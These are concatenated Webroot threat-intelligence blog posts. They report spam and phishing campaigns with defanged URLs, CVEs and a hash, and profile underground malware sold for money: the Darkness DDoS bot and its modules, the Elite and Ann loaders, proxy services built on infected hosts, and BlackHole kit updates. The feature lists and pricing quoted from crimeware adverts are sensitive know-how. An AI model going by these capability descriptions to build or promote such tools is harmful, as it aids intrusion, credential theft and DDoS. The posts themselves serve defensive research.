U.S government and U.S military users whose emails have been exposed are advised to be extra vigilant for potential targeted malware attacks enticing them into downloading and executing a malicious attachment, or attempting to trick them into clicking on a client-side exploits serving link found in the emails.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Google Pharmacy' themed emails lead to pharmaceutical scams - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising a Google-themed email campaign that's enticing home and corporate PC users into clicking on bogus link leading to **pharmaceutical scams** .

More details:

The spamvertised campaign is brand-jacking Google's brand, and trying to socially engineer users into thinking that Google has launched a new pharmacy interface in an attempt to take advantage of the trusted relati0nship that that company has already established with its users.

Sample subject: *Improbable Drug Store reductions*

Sample message: *We've just launched a pharmaceutical interfaces for Google, as well as several new features that will improve the Google experience for the people buying pills and using pharmaceutical interfaces. We are really plased to have worked on a launch that will help people use pharmacy and surgery. We are currently working on make it available to even more users with more language interfaces.*

Sample URL: *hxxp://iledrugs.com*

In an attempt to bypass anti-spam filters, spammers have chosen to use an image file containing the message of the email, instead of using plain simple characters which could have triggered an anti-spam mechanism.

Avoid interacting with the emails if you receive one, and report them as spam/fraudulent as soon as you see it.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Your accountant license can be revoked' emails lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising a malicious email campaign that's designed to trick you into clicking on a bogus **complaint.pdf** link which ultimately leads to client-side exploits and malware.

The campaign is launched by the same gang that launched the "**Spamvertised 'Termination of your CPA license'** " malicious campaign last month.

More details:

Spamvertised subjects: *Your accountant license can be revoked; Rejection of your tax appeal; Fraudulent tax return assistance accusations; Tax return fraud notification; Internal Revenue service notification; Income tax return fraud accusations*

Spamvertised message: *We have received a complaint about your possible participation in income tax refund infringement on behalf of one of your clients. According to AICPA Bylaw Paragraph 765 your Certified Public Accountant status can be revoked in case of the aiding of submitting of a misguided of fraudulent tax return on the member's or a client's behalf.*

Please familiarize yourself with the complaint below and provide your feedback to it within 14 days. The failure to provide the clarifications within this term will result in withdrawal of your CPA license.

Spamvertised URL: *hxxp://www.inductiveminds.com/wp-includes/aic.html*

Upon clicking on the link, end and corporate users are exposed to a mix of client-side exploits that ultimately drop malicious software on the targeted hosts. In this case, the campaign attempts to exploit Libtiff integer overflow in Adobe Reader and Acrobat (**CVE-**

2010-0188), and Help Center URL Validation Vulnerability (**CVE-2010-1885**), ultimately dropping malware with **MD5:0e8ca3f42bc4cc8df8acccb8a4d4af67** .

Avoid interacting with these emails. Report them as malicious as soon as possible, and also ensure you're using the**latest version of your third-party software** and **browser plugins** when you browse the Web.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Research: proper screening could have prevented 67% of abusive domain registrations - Webroot Blog

facebook linkedin twitter

On a daily basis, spammers register thousands of new domains across multiple domain registrars, and take advantage of WHOIS privacy services to ensure that security researchers and anti-spam fighters will have hard time taking them down. So what can we do about it?

According to a **newly released research by Knujon.com** , proper screening could have prevented 67% of those abusive domain registrations.

More details:

KnujOn.com LLC is proud to release this briefing of our Abused Internet Domain RegistrationAnalysis for Calculating Risk and Mitigating Malicious Activity. KnujOn reviewed nearly onemillion WHOIS records from domain names advertised with spam in 2011 and found that 22.8%of the rogue registrations could be blocked with fundamental validation. Another 67.5% could befiltered or held for additional screening with a robust analysis developed in response to ourfindings. This study focused exclusively on the Administrator Email Address in each WHOISrecord. We are confident that this promising method could prevent slightly more than 90% of trulyabusive registrations, potentially curtailing the 14 million distinct spam instances which suppliedthe test data.

The main problem according to **KnujOn.com** has to do with the fact that domain registrars think that proper and in-depth screening of new domain registrations will slow down the entire registration process, allowing cybercriminals to actively abuse their services in an automated fashion.

KnujOn.com gives this example of a fraudulent pharmaceutical scam site that’s using the domain registration details of the Los

Angeles Times, a registration which could have been prevented if secondary screening of the WHOIS record was in place. The research further examines the connection between WHOIS privacy services and abusive domain registrations:

In our study there were 956,702 unique abused domain names with 237,557 unique administrator email addresses in their registrations. These email addresses were at 71,484unique administrator email address domains, but more than 55% of the abuse originated from just50 administrator email domains. Within 500 of the worst administrator email domains we see 73%of the abuse. This percentage of abuse only rises to 77% at the 1000 worst administrator emaildomain mark.

Now it's up to the domain registrars to wake up and realize that abusive domain registrations can be prevented if proper screening policies are in place.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Temporary Limit Access To Your Account' emails lead to Citi phishing emails - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising a fraudulent email campaign impersonating Citi, using '*Temporary Limit Access To Your Account* ' themed emails as a social engineering attempt to trick end users into clicking on the link found in the phishing emails.

More details:

Subject: *Temporary Limit Access To Your Account*

Spamvertised message: *Dear Client,CitiBank Temporary Limit Access To Your Account.Reason: 1.Unauthorized login attempts.2.Billing failure.We require you to complete an account update so we can unlock your account.To start the Unlock process click on: hxxp://irta-dositecno.com/wp-content/uploads/2011/11/.43www3-credit-35-cards-86-citi-08-com/Once you have completed this process, we will send you an email notifyingthat your account is available again. After that you can access your accountonline at any time.NB:Failure to provide required information will lead to account suspension automaticallyfrom Our online database.Sincerely,Citibank Customer Services.*

Spamvertised URL: *hxxp://irta-dositecno.com/wp-content/uploads/2011/11/.43www3-credit-35-cards-86-citi-08-com/*

Upon clicking on the link, users are exposed to a fraudulent Citibank themed web site, requesting their accounting data:

For the time being, only **Google Safebrowsing's** initiative has flagged the web site as a phishing one.

Webroot SecureAnywhere customers are protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the Darkness (Optima) DDoS Bot - Webroot Blog

facebook linkedin twitter

With **politically motivated DDoS (distributed denial of service attack) attacks proliferating** along with the overall increase in the supply of managed "**DDoS for hire" services** , it's time to get back the basics, and find out just what makes an average DDoS bot used by cybercriminals successful.

Continuing the "A peek inside…" series, in this post I'll profile the Darkness X (Optima) DDoS bot, available for purchase at selected cybercrime-friendly online communities since 2009.

More details:

The Darkness (Optima) DDoS bot is still under active development by Russian malware coders, according to a recent advertisement posted at a cybercrime-friendly online community. Let's profile this ubiquitous platform for launching DDoS attacks.

More details on the bot's history:

Before you learn all the features of our product, we would like to briefly tell the story. 8th March 2009 (nothing to do with the holiday on this day) was put up for sale in the first version of DDoS Bot'a Darkness. The product was surprisingly well received by audiences and sell "sack." In the second version of the bot was also released an optimized version of the admin panel, which was called the "Optima". Since then, the double name of our product "Darkness (Optima) DDoS Bot". Since 2009, the year product was gradually developed, improved, acquired new functions. 1st October 2011 we presented the 10th version of our product – "Darkness X DDoS Bot".

Among the main features of the bot are:

• 4 types of DDoS attacks: http, icmp (ping), syn, udp
• The ability to attack on several URL of a server.
• Ability to progruzhat and run your. Exe files.
• A sound system of granting user-agent and referral. Randomly

generated for each call.

• Our bot is almost no load on the system, which allows him to remain invisible for a long time.

• Compatible with all series of the Microsoft Windows 95 – Windows7.

• Works correctly under 64-bit systems.

• Correctly works as a yuzersky uchetku and under admin.

• The file name is not in the numbers and not just a bunch of random letters and the word or abbreviation, however, generated randomly.

• Bypasses Windows Firewall

• Easy-crypt, from the version I have 10G Plus

• Immediately installed in the system, thus avoiding any suspicion among the victims.

• Works in 100 threads, it is possible to set a timeout. Moreover, the flow is almost perfectly synchronized with each other, which makes it possible to generate the maximum amount of HTTP traffic.

• The attack on the individual server (for example, a forum, news block, file storage). In this type of attack targets chosen by each instance of the bot separately, which, in turn, at times increases the load on the server, because the answer can not be cached.

• Bypass of some Anti-DDoS defenses.

• Modularity. You can buy add-on in the form of modules.

• Due to a very good code optimization bot has a good weight: 30-40 kb. packed and 90-130 kb. Uncompressed, depending
the availability of certain modules.

• Support for Socks5 proxy. The default port – 1080, you can change when you create a build. Note that the proxy normal and does not work through NAT.

• Real-time tech support.

The bot supports four different types of DDoS attacks, namely HTTP flood, ICMP flood, ping, SYN flood and UDP flood. The modular nature of the bot allows the sellers to offered it using flexible pricing schemes, based on the number and type of additional modules requested by the cybercriminals wanting to buy it.

Infected hosts can simultaneously launch up to 100 networks threats against the targeted web sites, with every request using a different user-agent and HTTP referer in an attempt to bypass Anti-DDoS protection solutions.

Screenshots of the Command and Control interface:

The Web-based command and control interface is called Optime. More details on the Optima Web-based command and control interface:

[Premium Features Admin Panel “Optima”]

- Simple, intuitive control panel; the most optimized, which reduces the load on the server.
- Easy to install.
- Ability to schedule the execution of commands.
- High degree of protection.
- A demo access.
- Admin panel shows the version of the bot, OS version and type of account – the administrator or user. A / U, respectively.
- Bilingual (RU, EN).
- Outstanding protection against unscrupulous downloaders (if the boat is loaded on a PC is infected, it will report this to the admin panel of the word FIAL).
- Real-time tech. Support.

The Darkness (Optima) DDoS bot comes with five different plugins, allowing the release of hybrid versions of the bot, each of them offering additional malicious models at the disposal of the malicious attacker.

More details on the plugins available for additional sale:

1) **ThiefX** . Version: 1.3. Grabber passwords. This module is able to “rob” the passwords for
14 programs (at your option can be added to additional programs):

- Fxp (ftp)
- Total commander (ftp)
- Filezilla (ftp)
- Wsftp (ftp)
- Mozilla Firefox (including version 7 of) (web, forms)
- Opera (including the latest version) (web, forms, ftp)
- CuteFTP (ftp)

- Qip2005 (icq)
- Qip2010 (icq, eml)
- QipInfium (icq, eml)
- The bat (eml)
- RDP (rdp)
- Google Chrome (web)
- Safari (web)

2) **Tunnel. Version: 1.0.** Back-Connect (Reverse) Socks 5 module. Allows you to use your bots as proxies.
3) **Substitution. Version: 1.0** . Module that allows online editing / hosts file to replace your bots.
4) the possible development of a module for the substitution of Webmoney purses in the clipboard. If you have any questions, please icq.
5) **MKL Keylogger. Version: 1.1** . Keylogger that supports Cyrillic and the ability to send logs to HTML / FTP

Like in other underground malware releases, in Darkness (Optima) DDoS bot's case, the malware coders are also issuing a license agreement which potential buyers have to accept once they purchase a copy of the bot. Basically, the agreement states that the bot is to be used for testing purposes only.

What about prices? Thanks to the bot's modular nature, the Russian malware coders behind it have created multiple market propositions, aiming to satisfy the needs of multiple potential customers, from different market segments.

Types of subscriptions:

- Minimum: DDoS bot no free upgrades = $ 450
- Standard: DDoS bot + Month Free Upgrades = $ 499
- Bronze: DDoS bot + 3 months free upgrades plus one free rebild. = $ 570
- Silver: DDoS Bot + months of free updates + three free rebilda. = $ 650
- Gold: DDoS Bot + unlimited free upgrades + 5 free rebilda + 5% discount on our products. + Module “password grabber” as a gift = $ 699
- Platinum: DDoS Bot + Free Updates on forever + free + rebildy

without restrictions 25% discount on our products + 2 modules to choose a gift = $ 825
• Diamond: DDoS Bot + Free updates + Free unlimited rebildy without limitation + 30% discount on all our products + plug-ins as a gift. = $ 999
• ReBuild (change domain) – $ 35.
• Sources – discussed separately.
• New function – is discussed separately.

The prices for the different modules available for sale with the DDoS bot are as follows:

• **ThiefX** . Grabber passwords. – $ 50
• **Substituion** . Substitution of hosts. – $ 35
• **Tunnel** . Back-Connect socks. – $ 250
• **MKL Keylogger** . – $ 55 Also, this module can be purchased as a separate product at a price of $ 85.
• Development of new modules. – Discussed separately

What's particularly interesting about the Darkness (Optima) DDoS bot is the fact in order to achieve an increased market penetration from day one, the Russian malware coders behind the bot, have also introduced an affiliate-based reselling platform, allowing third-parties who resell the bot, the chance to earn additional revenue. In this case that's $45 to $100 for a single client referred by a third-party user part of the affiliate network.

On the 16th of February, 2012, the authors of the kit posted an update explaining the newest features and improvements introduced in the bot:

1) New update Xi. List of changes:
– Rewrote the UDP flood attack power increased by 10-15%
– Added new methods to bypass Anti-DDoS protection through clever use of cookies and user-agents.
– Fixed a rare bug that did not properly identify the country bot
– Fixed rare bug where the bot "fell" in obtaining multi-team
– Fixed rare bug where the bot is not properly reported to the admin-panel version of the bot
– Other minor bug fixes.2) You will soon see the update pass-grabber, and other add-ons bot.3) Very soon we will conclude an

agreement with several kriptovschikami, so the bot will crypts even easier.

Webroot's security researchers will continue monitoring the bot's development to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

Related posts:

A peek inside the Elite Malware Loader A peek inside the Ann Malware Loader A peek inside the Smoke Malware Loader A peek inside the uBot malware bot A peek inside the PickPocket Botnet A peek inside the Umbra malware loader A peek inside the Cythosia v2 DDoS Bot

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New service converts malware-infected hosts into anonymization proxies - Webroot Blog

facebook linkedin twitter

What happens when a host gets infected with malware? On the majority of occasions, cybercriminals will use it as a launch platform for numerous malicious activities, such as spamming, launching DDoS attacks, harvesting for fresh emails, and account logins. But most interestingly, thanks to the support offered in multiple malware loaders, they will convert the malware-infected hosts into anonymization proxies used by cybercriminals to cover their Web activities.

In this post, I'll profile a newly launched service, offering thousands of malware-infected hosts as Socks4 and Socks5 servers for anonymizing a cybercriminal's Web activities.

Most recently advertised as ProxyBuy, the service, in operation since 2004 under different names/domains, offers access to thousands of **malware-infected hosts** , now **converted to Socks4 and Socks5 servers** — back connect supported — thanks to the overall availability of this feature in the majority of **today's modern malware loaders** .

Welcome to the website proxy Proxybuy . Founded in 2004, Proxy Service to quickly and securely won a stable position with a reputable service. Here you can buy a proxy http or https , buy socks excellent performance, order a subscription for a week or a month. Our paid proxy lists are used for different types of Internet businesses, as well as for "home use". All we provide lists of proxy – anonymous and private. Good support high-speed operation. Quality you can check out the section Proxy checker . Buy proxy lists, or buy the socks we just. Simply select a Desirable your tariff and apply our specialist via ICQ , E – mail , skype or phone.

The prices vary, based on the number of requested Socks4/Socks5 servers. For instance, a potential buyer can purchase 1400-1500 socks servers for the price of $30. Naturally, the malware-infected hosts don't keep any logs, making them the perfect tool in the arsenal of a malicious attacker wanting to launch malicious attacks while covering their tracks, by forwarding the responsibility for the malicious campaigns to the owners of the infected PCs.

A popular tactic often used by cybercriminals is called "socks chaining" that is the use of numerous Socks4/Socks5 servers to maintain the same connection, acting as stepping stones, allowing the cybercriminal to route their connection through multiple malware-infected hosts.

Such use and **monetization of malware-infected hosts** is making it increasingly difficult for security researchers and law enforcement to correctly attribute the source of a cyber attack.

Webroot's security researchers will continue monitoring the service, and its future development.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

BlackHole exploit kits gets updated with new features - Webroot Blog

facebook linkedin twitter

According to **independent sources** , the author of the **most popular web malware exploitation kit** currently dominating the **threat landscape** , has recently issued yet another update to the latest version of the kit v1.2.2.

More details:

According to the independent reports, here's what the latest update has introduced in the BlackHole exploit kit:

Java OBE + Java Rhino is now in a obedeny exploit Java Pack
Significantly improved otstuk through the Java hook
Your files are protected from AV companies pumping
Internal optimization of exploits

This is the second update issued for the exploit kit in recent months, following **December 2011's introduction of the CVE-2011-3544** exploit in the kit.

The BlackHole web malware exploitation kits is currently **the most observed exploit kit currently used by cybercriminals** , mostly due to the constant updates issued for the kit.

End users are advised to ensure that they're not surfing the Web using **outdated third-party applications** , and **browser plugin** s.

Webroot security researchers will continue monitoring the latest developments around the BlackHole exploit kit to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the Elite Malware Loader - Webroot Blog

facebook linkedin twitter

Just like today's modern economy, in the cybercrime ecosystem supply, too, meets demand on a regular basis.

With malware coding for hire propositions increasing thanks to the expanding pool of talented programmers looking for ways to enter the cybercrime ecosystem, it shouldn't be surprising that cybercriminals are constantly releasing new malware loaders, cryptors, remote access trojans, or issuing updates to web malware exploitation kits on a periodic basis, using the outsourcing market model.

Continuing the "Peek inside…" series, in this post I'll profile the Elite Malware Loader. In the wild since 2009, the malware loader is still under active development according to a recently spotted advertisement within the cybercrime ecosystem.

Key features of the Elite Malware Loader include:

[+] Coded in pure WinAPI C++/Asm.
[+] Build size: 11 kb
[+] Protocol encrypted with dynamic key
[+] Random file names
[+] Resident
[+] Works in windows xp sp1/2/3, vista
[+] URL encrypted in build
[+] Firewall bypass: windows firewall, outpost, McAffee
[+] Can execute multiple commands in simultaneously
[+] Can be used after execution, without reboot

Screenshots of the Elite Malware Loader:

As you can see in the attached screenshots, the malicious attackers advertising the malware loader, has already managed to infect 60 PCs located in Brazil.

What’s particularly interesting about the Elite Malware Loader is that it’s released by a Russian malware coder known as Lonely Wolf, and that according to the description of the malware loader, it’s capable of bypassing Microsoft Window’s Firewall successfully.

The malware loader appears to be under active development by third-party coders, modifying its leaked source code for their own needs. This open source malware is highly modular, allowing third-party authors to innovate on the basis of using its source code.

The latest modifications in “Elite Loader 4.0” are courtesy of the M4x123 malware coder:

The Gui (Webpanel) based on the Original Webpanel but with new Statistics and some other Modifications
The Bot itself is coded fully in C++, all API Calls are Encrypted with XOR, my Routine.
Current BotSize 12KByte. I think i will make it smaller.
May I Include some Kiddy shit like DDOS or Something like ZeuS (Form Grabber)
I’m thinking about to include Reverse Proxy and a scripting Engine (Like Visual Basic Syntax ^_^)

Webroot’s security researchers will continue monitoring the development of this loader to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How cybercriminals monetize malware-infected hosts - Webroot Blog

facebook linkedin twitter

The vibrant cybercrime underground ecosystem offers countless ways to monetize the malware-infected hosts at the disposal of the malicious attacker.

From converting them to **anonymization proxies** assisting **cybercriminals in covering their Web activities** , to launching DDoS attacks, and using them to disseminate spam and more malicious threats, cybercriminals have a vast arsenal of monetization tactics in their arsenal.

In this post we'll profile a recently advertised service offering thousands of Facebook "Likes", Twitter followers, and YouTube views, all for the modest price of a couple of hundred rubles, entirely relying on malware-infected hosts for supporting their infrastructure.

Basically, the service is abusing the trusted reputation of malware-infected Facebook, Twitter and YouTube users for the purpose of superficially increasing the popularity of a particular item located within these sites/social networking platforms.

Every malware-infected user counts as a separate "Like", Twitter follower, or video viewer at YouTube, all of them unknowingly participating in these illegal marketing campaigns.

And what about the prices? The prices vary based on the number of requested marketing operations to be performed on behalf of the malware-infected hosts participating in the campaign, also known as bots.

Sample prices for Facebook marketing campaigns:

Facebook Likes (I like) boots
1000 Likes Facebook – 300 rubles
Facebook Likes (I like it) Russian
1000 Likes Facebook – 3,000 rubles
Facebook Likes (I like) all over the world

in 1000 Likes Facebook – 2,500 rubles
Facebook Likes (I like), RF
1000 Likes Facebook – 7000

Sample prices for YouTube marketing campaigns:

Views: All views 100% live
action: 100 000 hits – only 25 000 rub
1000 views – 400rub (speed of 50 000 – 100 000 hits a day .)
views at 1000 hits per day – 1,500 rubles for 5000
Cheat Rating (Likes)
100 Likes – 300 rubles
Favorites Subscribers:
100 – 300 rub
Your video on the home page of YouTube (Once on the main Youtube.Com your movie will surely be seen !)
Price is negotiated personally with me. Ready to offer an adequate price.

Sample prices for Twitter marketing campaigns:

2,500 followers – 700 rubles (1 day)
5000 followers – 1400 rubles (2-3 days)
10 000 followers – 2600 rubles (4-5 days)
25 000 followers – £ 5500 (9-12 days)
50 000 followers – 10 000 rubles (17-25 days)

Webroot's security researchers will continue monitoring the service and its future development.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Termination of your CPA license' campaign serving client-side exploits - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising *'Termination of your CPA license* ' emails, enticing users into clicking on a malicious link supposedly redirecting to the **complaint.pdf** file.

More details:

The malicious attackers are also spamvertising a second variation of the campaign, this time using '*Your accountant license can be revoked.* " as a subject of the campaign.

Sample subjects: *Termination of your CPA license; Your accountant license can be revoked; Your accountant CPA license termination; Income tax return fraud accusations*

Sample message: *Cancellation of Public Account Status due to income tax fraud allegations. Dear accountant officer,We have received a notice of your alleged assistance in income tax return infringement for one of your clients. According to AICPA Bylaw Subsection 700 your Certified Public Accountant license can be withdrawn in case of the occurrence of submitting of a misguided or fraudulent tax return on the member's or a client's behalf.Please be notified below and respond to it within 14 days. The failure to provide the clarifications within this time-frame will result in withdrawal of your Accountant license.*

Once users click on the link, they are redirected to **a compromised URL** where the malicious attackers are attempting to serve client-side exploits to the unsuspecting victims.

End and corporate users are advised to avoid interacting with the emails, report them as spam/malicious, and ensure that they're browsing the Web while using antimalware protection, and **browser plugins** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Researchers intercept malvertising campaign using Yahoo's ad network - Webroot Blog

facebook linkedin twitter

Security researchers from StopMalvertising.com have intercepted **a malvertising campaign using Yahoo’s ad network** , that ultimately leads to a malicious payload in the form of **fake security software known as scareware** .

More details:

The IP **66.85.141.172** is acting as a rotator. A rotator is a link to a Traffic Management System and it will point users to different destinations each time the link is requested. They might also include the name of the group spreading the malware or a campaign ID. According to the whois details the organization name is coolservers.ru.

The domain **server72.helpping.uni.me** is one of those free domain providers and of course they don’t have any whois information available as usual. A fake scanner called Windows Secure Kit 2011 is hosted at this IP.Read more about Malvertisement on Releaselog installs Windows Secure Kit 2011.

Cybercriminals usually rely on malvertising to achieve their malicious objectives in situations where they cannot remotely compromise a particular legitimate web site through direct hacking in the form of, for instance, remotely exploitable SQL injection attack. In this case, they socially engineer their way into a high trafficked ad network like Yahoo!’s ad platform in order to reach millions of potentially exploitable victims. Thankfully, in this campaign they’re redirecting users to a fake security software, compared to a situation where they could have been abusing their access to the ad network in order to serve client-side exploits.

Related posts:

Researchers intercept a client-side exploits-serving malware campaign Researchers intercept two client-side exploits serving malware campaigns

Just how prevalent is malvertising in the arsenal of the malicious attacker? According to independent reports, **over 3 million malvertising impressions are served each and every day** , followed by another **1.3 million malicious ads which are viewed daily** . Clearly, cybercriminals are still interested in socially engineering their way into high trafficked ad networks.

Yahoo! Inc. has been notified that a rogue publisher is currently using its ad platform, and has quickly taken action to mitigate the threat posed by the malicious ads served through it.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the Ann Malware Loader - Webroot Blog

facebook linkedin twitter

The ever-adapting cybercrime ecosystem is constantly producing new underground releases in the form of malware loaders, remote access trojans (RATs), malware cryptors, Web, IRC and P2P based command and control interfaces, all with the clear objective to undermine current security solutions.

Continuing the “A peek inside…” series, in this post I will profile a malware loader recently advertised within the cybercrime ecosystem , namely, the Ann Malware Loader.

Some of the key features of teh Ann Malware Loader include:

Supporting tasks: as it downloads, such as country, etc.
The sequence of tasks
Ability to edit and rearrange every way the job sits.
The small size of the build, only 14 kb
The program is written on pure API
Ability to control loads on the bots, and selection in the white zone
AnnLoad got stable, fast, easy, secure admin panel.
The control panel does NOT even store your password in the config, only cache!
The algorithm AnnLoad does not contain anything that could interfere with the crypt (service mode, tls, etc …)

The flexible pricing list:

Minimum: Loader no free upgrades – $ 330.
Standard: Loader + months of free upgrades – $ 380.
Bronze: Loader + 3 months free upgrades Free rebild + 1 – $ 480.
Silver: Loader + months of free updates + 2 free rebilda – $ 530.
Gold: Loader + free upgrade forever + 5% discount on our products + 5 free rebildov + module to choose a gift – $ 630.
Platinum: Loader + Update + free 25% discount on our products rebildy + free + 2 modules to choose a gift – $ 725.
Diamond: Loader + Free updates + Free unlimited rebildy without

limitation + 30% discount on all our products + plug-ins as a gift. = $ 825
Upgrades – $ 35-85 (depending on the importance of the upgrade).
ReBuild (change URL) – $ 35.
Sources – discussed separately.
New function – is discussed separately.

Includes password-grabbing feature covering the following programs:

Fxp (ftp)
Total commander (ftp)
Filezilla (ftp)
Wsftp (ftp)
Mozilla Firefox (web, forms)
Opera (web, forms, ftp)
CuteFTP (ftp)
Qip2005 (icq)
Qip2010 (icq, eml)
QipInfium (icq, eml)
The bat (eml)
RDP (rdp)
Google Chrome (web)
Safari (web)

Screenshots of the Ann Malware Loader in action:

What's particularly interesting about the Ann Malware Loader is the fact that it comes with an EULA agreement, emphasizing on the fact that the malware loader is to be used for testing purposes only. By doing this, the key coder behind this underground release is forwarding the responsibility for its uses to his customers.

Moreover, thanks to its modular nature, the malware author is offering custom made modules allowing potential cybercriminals to **hire a malware coder** for a **specified amount of money** .

Webroot's security researchers will continue monitoring the development of this malware loader to ensure that **Webroot SecureAnywhere** customers are protected from it.

Related posts:

A peek inside the Smoke Malware Loader A peek inside the uBot malware bot A peek inside the PickPocket Botnet A peek inside the Umbra malware loader A peek inside the Cythosia v2 DDoS Bot

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Why Relying On Antivirus Signatures Is Not Enough Anymore | Webroot

facebook linkedin twitter

How is it possible that in an industry dominated by advanced performance metrics and benchmarking tests, cybercriminals still manage to release unique malware that remains undetected for weeks by major antivirus vendors?

It's pretty simple. Cybercrime is innovating much faster than the security industry is.

It used to be that cybercriminals hacked from the fringe, often acting alone and for personal fame. Now, cybercrime is a profitable career. It's among the top national defense issues; it's leveraged as a form of political protest; and it's a relatively easy field to break into.

You might be surprised to how easy it is for anyone to access black markets online, pay a small fee (or nothing at all), and gain access to malicious processes that wreak havoc on company websites, steal financial information, and much more. And their labors are producing countless malware samples each day.

Here's an up-close look at some of the nasty tactics today's hackers are using—and why security vendors can't stop them with yesterday's approach.

4 Ways Hackers are Winning

Do-it-yourself (DIY) malware cryptors – Malware cryptors, as we cyber nerds call them, are designed to mask malware from being discovered by computer security programs. Cybercriminals can build malware cryptors on their own with relative ease. The idea is: once malware authors release their cryptors into the wild, they have the ability to keep changing it until their malware becomes unrecognizable to antivirus scans. That's a big "one up" over traditional security.

Managed malware crypting services – Think of malware as a key that is trying to find a door (someone's device) to unlock. Instead of trying to make your own custom key, you could go to someone who already knows a specific key is going to work. That's the idea behind malware crypting as a managed service. This process allows cybercriminals to obtain only the malicious executables (the things that make your computer go "boom") that have the best chance of being effective—without having to build anything on their own.

Server-side polymorphism (SSP) – Server-side polymorphism (say that two times fast!) is malware that is difficult to identify by a computer scan, no matter how many times you clean your system. What's particularly important to highlight is how it renders traditional server antivirus software totally useless.

Quality assurance processes within the cybercrime ecosystem – Cybercriminals aren't sloppy about their work. Before a malware campaign is launched, cybercriminals will usually pre-scan their malicious executable against all popular antivirus engines in order to ensure that it will successfully bypass the signature-based malware scanning used by them. The process is highly automated and is often offered as a service at selected cybercrime-friendly online communities.

So what is the security industry's big mistake?

Habit. Security companies have been relying solely on an outdated system, signature-based threat detection, for catching malware and other threats—a system that slows down people's computers and doesn't address today's threat environment. Signature-based threat detection works like this:

A new virus or malware variant is discovered

An antivirus vendor creates a new signature to protect against that specific piece of malware.

The antivirus or malware signature is tested, and then pushed out to the vendor's customers in the form of a signature update.

Year after year, the goal for antivirus companies has been to collect the most antivirus and malware signatures. This not only slows down your computer because it requires a large amount of space on your hard drive, but it also relies heavily on YOU to update your own antivirus program , which increases the risk for infection. This means that even on the day you purchase most security suites, they are outdated and ill-equipped to protect you against the newest malware. By the time updates are addressed, it's often too late. In other words, we've been trying to bob for apples in a barrel when we should be dumping the barrel upside down.

Dumping the barrel upside down

The future of online security can and should be based on behavior-based blocking techniques, which analyzes files by looking at how they're acting and what they're attempting to do, rather than comparing them to a list of known threats. It's our best option to get a leg up on hackers.

